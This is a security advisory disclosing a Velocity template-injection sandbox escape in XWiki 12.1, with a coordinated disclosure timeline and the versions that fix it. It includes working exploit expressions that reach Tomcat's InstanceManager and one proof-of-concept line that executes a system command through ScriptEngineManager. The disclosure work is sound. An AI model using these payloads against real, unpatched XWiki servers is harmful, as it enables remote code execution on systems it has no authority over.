August 19, 2020

GHSL-2020-046: Server-Side Template Injection in XWiki

Alvaro Muñoz

Summary

A user with privileges to edit wiki content may execute arbitrary Java code or run arbitrary system commands with the same privileges as the account running XWiki.

Product

XWiki

Tested Version

XWiki 12.1

Details

Server-Side Template Injection (Velocity)

Even though XWiki does a good job installing the Velocity SecureUberspector to sandbox the User macro templates, it stills exposes a number of objects through the Templating API that can be used to circumvent the sandbox and achieve remote code execution.

Deep inspection of the exposed objects' object graph allows an attacker to get access to objects that allow them to instantiate arbitrary Java objects. In particular, it exposes the Servlet Context through $request.getServletContext()

We can then list all Servlet Context attributes with:

<ul>
  #foreach( $attr in $request.getServletContext().getAttributeNames() )
    <li>$attr</li>
  #end
</ul>

On a Tomcat server (used in official XWiki Docker image), we get:

  • javax.servlet.context.tempdir
  • org.apache.catalina.resources
  • org.apache.struts.action.REQUEST_PROCESSOR
  • org.apache.tomcat.InstanceManager
  • org.apache.catalina.jsp_classpath
  • org.apache.struts.action.MODULE
  • org.apache.struts.action.PLUG_INS
  • org.restlet.ext.servlet.ServerServlet.component.RestletServlet
  • org.apache.tomcat.JarScanner
  • org.xwiki.component.manager.ComponentManager
  • javax.servlet.context.orderedLibs
  • org.apache.struts.globals.MODULE_PREFIXES
  • org.apache.struts.action.SERVLET_MAPPING
  • org.restlet.ext.servlet.ServerServlet.application.RestletServlet
  • org.apache.struts.action.ACTION_SERVLET
  • xwiki
  • org.restlet.ext.servlet.ServerServlet.server.RestletServlet

The most interesting one is org.apache.tomcat.InstanceManager which enables us to instantiate arbitrary objects. Note that this class is available on e.g. Jetty as well and similar classes are available on other servers. For example JBoss/WildFly exposes org.wildfly.extension.undertow.deployment.UndertowJSPInstanceManage.

An attacker can access an Instance manager with any of the options below (probably more):

  • ${request.servletContext.getAttribute('org.apache.tomcat.InstanceManager')}
  • ${request.servletContext.getAttribute('org.apache.catalina.resources').getContext().getInstanceManager()}

Once an attacker gets access to an Instance Manager, they can use it to instantiate arbitrary Java objects and invoke methods that may lead to arbitrary code execution, effectively bypassing the sandbox. Probably the most common one is to instantiate a ScriptEngineManager:

<p>$request.getServletContext().getAttribute("org.apache.tomcat.InstanceManager").newInstance("javax.script.ScriptEngineManager").getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('id')")</p>

Impact

This issue may lead to Remote Code Execution.

Coordinated Disclosure Timeline

  • 03/23/2020: Sent email to contact@xwiki.com asking for security contact
  • 03/23/2020: Created Jira Issue at https://jira.xwiki.org/browse/XWIKI-17141
  • 04/02/2020: XWiki acknowledged the issue
  • 04/30/2020: XWiki found a similar vector of attack and fixed it in XWIKI-17266.
  • 05/15/2020: XWiki releases fixes as part of XWiki 12.2.1 and XWiki 11.10.5. releases.
  • 06/10/2020: New RCE vectors are reported to XWiki.
  • 07/10/2020: XWiki releases fixes as part of XWiki 12.5 and XWiki 11.10.6 releases.

Vendor Advisories:

Credit

This issue was discovered and reported by GHSL team member @pwntester (Alvaro Munoz).

Contact

You can contact the GHSL team at securitylab@github.com, please include the GHSL-2020-046 in any communication regarding this issue.